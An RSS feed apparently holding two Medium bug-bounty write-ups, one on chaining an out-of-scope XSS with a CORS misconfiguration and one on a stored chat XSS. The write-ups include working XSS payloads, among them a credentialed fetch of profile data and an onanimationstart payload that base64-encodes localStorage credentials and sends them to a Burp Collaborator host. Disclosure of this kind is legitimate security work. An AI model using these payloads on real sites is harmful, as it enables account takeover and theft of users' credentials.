<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by c4rrilat0r on Medium]]></title>
        <description><![CDATA[Stories by c4rrilat0r on Medium]]></description>
        <link>https://medium.com/@c4rrilat0r?source=rss-58da085975c8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*iDGDorETTOLTOn0g</url>
            <title>Stories by c4rrilat0r on Medium</title>
            <link>https://medium.com/@c4rrilat0r?source=rss-58da085975c8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:27:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@c4rrilat0r/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[XSS on out of scope domain? CORS is your secret weapon!]]></title>
            <link>https://c4rrilat0r.medium.com/xss-on-out-of-scope-domain-cors-is-your-secret-weapon-93e433278080?source=rss-58da085975c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/93e433278080</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[cors]]></category>
            <dc:creator><![CDATA[c4rrilat0r]]></dc:creator>
            <pubDate>Mon, 08 Apr 2024 10:39:29 GMT</pubDate>
            <atom:updated>2024-04-08T11:10:31.240Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone, and welcome to my second Medium post! I hope you enjoy and find it helpful.</p><p>In this post, we’re exploring XSS (Cross-Site Scripting) vulnerabilities, which can sometimes be overlooked, particularly when they occur in out-of-scope (OOS) domains. However, when combined with CORS (Cross-Origin Resource Sharing) misconfigurations, these vulnerabilities can become valid within the scope of a security program, potentially leading to bounty eligibility.</p><p>To illustrate this, I’ve got a real-life example from a HackerOne program I stumbled upon. Let’s call it “redacted.com” and its out-of-scope counterpart “community.redacted.com”.</p><p>One day, while skimming through the automated results of my workflow, I stumbled upon an XSS vulnerability lurking within the “community.redacted.com” domain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3EQJ68j9Ee2mAnRUOxTY5A.png" /><figcaption>XSS on community.redacted.com</figcaption></figure><p>Upon reviewing the HackerOne program, I found out that while *.redacted.com fell within the scope for bounty eligibility, “community.redacted.com” did not. Realizing this, I couldn’t help but feel a bit disappointed initially, as I had underestimated the potential severity of the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rhm2HvlHptBIsyEZFGpcwg.png" /><figcaption>HackerOne redacted.com policy</figcaption></figure><p>But, if that vulnerability had been dismissed, I wouldn’t be writing this blog, right?</p><p>After some days of pondering over this XSS, I realized that I was missing something. Sometimes, with a broad scope, it is necessary for some applications to utilize Cross-Origin Resource Sharing (CORS) to integrate applications within the same scope.</p><p>Now, let’s talk about CORS. CORS is a security feature implemented by web browsers to control access to resources from different origins. It allows web servers to specify which origins have permission to access their resources. When an application sets the Access-Control-Allow-Origin header to *.redacted.com, it essentially allows any web page hosted on a subdomain of &quot;redacted.com&quot; to access its resources.</p><p>The issue arises when the Access-Control-Allow-Credentials header is set to true. This header indicates whether the request can include credentials such as cookies, authorization headers, or TLS client certificates. When this header is set to true, it means that the server is willing to accept credentials from the requesting origin, assuming it&#39;s permitted by the Access-Control-Allow-Origin header.</p><p>So, what’s the issue here? By allowing any subdomain of “redacted.com” to access resources with credentials, such as session cookies, an attacker could exploit an XSS vulnerability in an out-of-scope domain (like “community.redacted.com”) to steal sensitive user data or perform unauthorized actions on behalf of the user within the scope domain (“redacted.com”).</p><p>After analyzing that, the next step is to search for a domain within redacted.com that allows Access-Control-Allow-Origin from any domain within redacted.com and has Access-Control-Allow-Credentials set to true. Another critical condition to consider is that the domain with the CORS misconfiguration should have cookies to access sensitive information.</p><p>To automate this process, you can use a modified version of the CORS misconfiguration detection nuclei template from <a href="https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/vulnerabilities/generic/cors-misconfig.yaml">Project Discovery</a>. This version is adjusted to avoid unnecessary requests and can be found here:</p><pre>id: cors-misconfig<br><br>info:<br>  name: CORS Misconfiguration<br>  author: c4rrilat0r<br>  severity: info<br>  tags: cors,generic,misconfig<br><br>http:<br>  - raw:<br>      - |<br>        GET  HTTP/1.1<br>        Host: {{Hostname}}<br>        Origin: {{cors_origin}}<br><br>    payloads:<br>      cors_origin:<br>        - &quot;https://{{tolower(rand_base(5))}}.{{RDN}}&quot; # Find domain in RDN with Misconfiguration<br>    stop-at-first-match: true<br>    matchers:<br>      - type: dsl<br>        name: arbitrary-origin<br>        dsl:<br>          - &quot;contains(tolower(header), &#39;access-control-allow-origin: {{cors_origin}}&#39;)&quot;<br>          - &quot;contains(tolower(header), &#39;access-control-allow-credentials: true&#39;)&quot;<br>        condition: and</pre><p>After some manual testing, luck was on my side this time! I stumbled upon a significant misconfiguration right on the main page of <a href="http://www.redacted.com/">www.redacted.com</a>. When I tested it using the XSS domain ‘community.redacted.com’ as the origin, I hit the jackpot:</p><ul><li>Got access to sensitive info through cookies.</li><li>Found that ‘community.redacted.com’ was allowed in the ‘Access-Control-Allow-Origin’ header.</li><li>‘Access-Control-Allow-Credentials’ was set to True.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lp34USI-TkPMVfBkWAlXw.png" /><figcaption>Access to sensitive information with Origin in community.redacted.com</figcaption></figure><p>With all this juicy info, I cooked up an XSS payload on community.redacted.com to fetch sensitive data from <a href="http://www.redacted.com/">www.redacted.com</a>. And boom! By cleverly chaining the XSS with the CORS setup, I managed to swipe sensitive info from a different origin.</p><p>The payload used to access and consume sensitive information from another domain was as follows:</p><pre>url= &#39;https://www.redacted.com/profile&#39;; <br>fetch(url ,{credentials:`include`}) // To send the cookies in the request<br>  .then(response=&gt;{return(response.text());}) <br>  .then(data=&gt;alert(JSON.stringify(JSON.parse(data)[`user`])));</pre><p>The exploitation led to the successful retrieval and consumption of sensitive information from the target domain (<a href="http://www.redacted.com/">www.redacted.com</a>) by the XSS vulnerability present in the out-of-scope (OOS) domain community.redacted.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BEZOoyFkdeyN18ZemPo81Q.png" /></figure><p>I promptly prepared the report and submitted it, hoping that the program team would recognize the value of this chain of vulnerabilities. Fortunately, the program team was fantastic; they triaged the report within a day and awarded a bounty of $904!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXHhBOUorxNZIT1NuNzwfg.png" /></figure><p>I hope this technique proves helpful to someone grappling with an XSS vulnerability in an out-of-scope domain. I wouldn’t recommend automatically scanning domains out of scope due to program restrictions. However, if you’ve already identified the XSS, you can certainly test if this technique works for you. Stay safe and responsible in your security research endeavors!</p><p>Thank you for joining me.</p><p>You can following me on twitter: <a href="https://twitter.com/c4rrilat0r">https://twitter.com/c4rrilat0r</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=93e433278080" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I managed to trigger XSS automatically to get critical account takeover]]></title>
            <link>https://c4rrilat0r.medium.com/how-i-managed-to-trigger-xss-automatically-to-get-critical-account-takeover-92ea3abcaf9?source=rss-58da085975c8------2</link>
            <guid isPermaLink="false">https://medium.com/p/92ea3abcaf9</guid>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bounty-program]]></category>
            <category><![CDATA[automatically]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[c4rrilat0r]]></dc:creator>
            <pubDate>Tue, 15 Mar 2022 18:24:11 GMT</pubDate>
            <atom:updated>2022-03-15T18:24:11.999Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everybody! This is my first medium post so I hope you like it.</p><p>This write up is about one of the best findings I ever had in HackerOne. The impact was critical because the XSS was stored and you could send it through a chat to any user leading to steal their credentials. So, let’s go!</p><p>This private program that we are going to call REDACTED.com has a chat to communicate with any user on the platform. Analyzing this feature I found that Javascript was parsing the URLs that I sent.</p><p>If I sent <a href="https://google.com/">https://google.com</a>, the chat parsed the text and it put the URL as a link in a “a” html tag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/235/1*ke6JFdmTI7bPwHPRqUb5zg.png" /></figure><p>So the first malicious payload that I sent was:</p><pre>https://google.com&quot;&#39;/&gt;</pre><p>And boom I saw how the HTML was broken:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*gug2Mwllsk3HMFrZFMvX3A.jpeg" /><figcaption>Broken HTML</figcaption></figure><p>Knowing this I tried to add new tags but unfortunately there were a lot of filters of html tags. After a while trying to add tags without success I started to add attributes on the “a” tag that allowed me to execute Javascript in the tag’s context.</p><p>In this part I hadn’t problems and I injected successfully an onclick=alert(1) a<br>attribute with the following payload:</p><pre><a href="https://google.com/">https://google.com</a>&quot;onclick=&quot;alert(&#39;1&#39;)&quot;a=&quot;</pre><p>having as result the following final tag:</p><pre>&lt;a href=&quot;https://google.com&quot; onclick=&quot;alert(1)&quot; a=&quot;&quot;&gt; </pre><p>And when the victim clicked the link the popup alert appeared.</p><p><strong>IMPORTANT INFORMATION</strong>: User’s credentials are saved on localStorage, an attacker can steal them with the following javascript payload:</p><pre><a href="https://google.com/">https://google.com</a>&quot;onclick=&quot;b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src=&#39;<a href="https://bn2cqb3blp9uh2j5bma74pzuvl1bp0.burpcollaborator.net/?t=&#39;+c">https://burpcollaborator.burpcollaborator.net?t=&#39;+c</a>&quot;a=&quot;</pre><p>To explain the payload above the javascript encodes the localStorage information in base64 and after that It send it to an attacker’s burp collaborator .</p><p>At this moment I have got a high severity vulnerability because I could take over any account <strong>but with user interaction</strong>.</p><p>As I wanted a critical vulnerability I started to research how to trigger the Javascript payload automatically. After a while I found one perfect solution using the <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Cross-Site Scripting Cheat Sheet from Port Swigger</a>. I found that the following payload works on all browser without user interaction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkwQDwvMs9NCScC0-0WDQQ.png" /></figure><p>But the big problem was that I couldn’t inject new HTML tags to create the animation on ‘style’ tag.</p><p><strong>How did I solve this problem?</strong></p><p>I needed to find only one animation defined on REDACTED CSS. So I opened each of the CSS files loaded in site and I FOUND IT!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6tc2g5qDuwDchaaNjaVZw.png" /><figcaption>REDACTED CSS</figcaption></figure><p>Now only I had to prepare the exploit:</p><pre><a href="https://google.com/">https://google.com</a>&quot;onanimationstart=&quot;b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src=’<a href="https://burpcollaborator.burpcollaborator.net/?t=&#39;+c">https://</a><a href="https://bn2cqb3blp9uh2j5bma74pzuvl1bp0.burpcollaborator.net/?t=&#39;+c">burpcollaborator</a><a href="https://burpcollaborator.burpcollaborator.net/?t=&#39;+c">.burpcollaborator.net?t=&#39;+c</a>&quot;style=&quot;animation-name:Toastify__bounceOutRight</pre><p>where:</p><ul><li>I put the malicious javascript code on the onanimationstart attribute.</li><li>I defined in tag’s style the animation found.</li></ul><p>So when the attacker sends the malicious message through the chat and the victim opens it, the tag’s style is loaded, the event executes the code put in the onanimationstart attribute and automatically the attacker receives the victim’s credentials on their burp collaborator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*dr0eR0Wx8Gbc8mQRtc95Dg.png" /></figure><p>After testing it a lot I wrote the report and I submitted it.</p><p>The report was triaged in 2 days and resolved in 7 days with a 3000$ bounty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/282/1*9LWQCSvymKZcgj3e7hkZ2g.png" /></figure><p>Thanks for reading I hope this helps!</p><p>You can following me on twitter: <a href="https://twitter.com/c4rrilat0r">https://twitter.com/c4rrilat0r</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92ea3abcaf9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>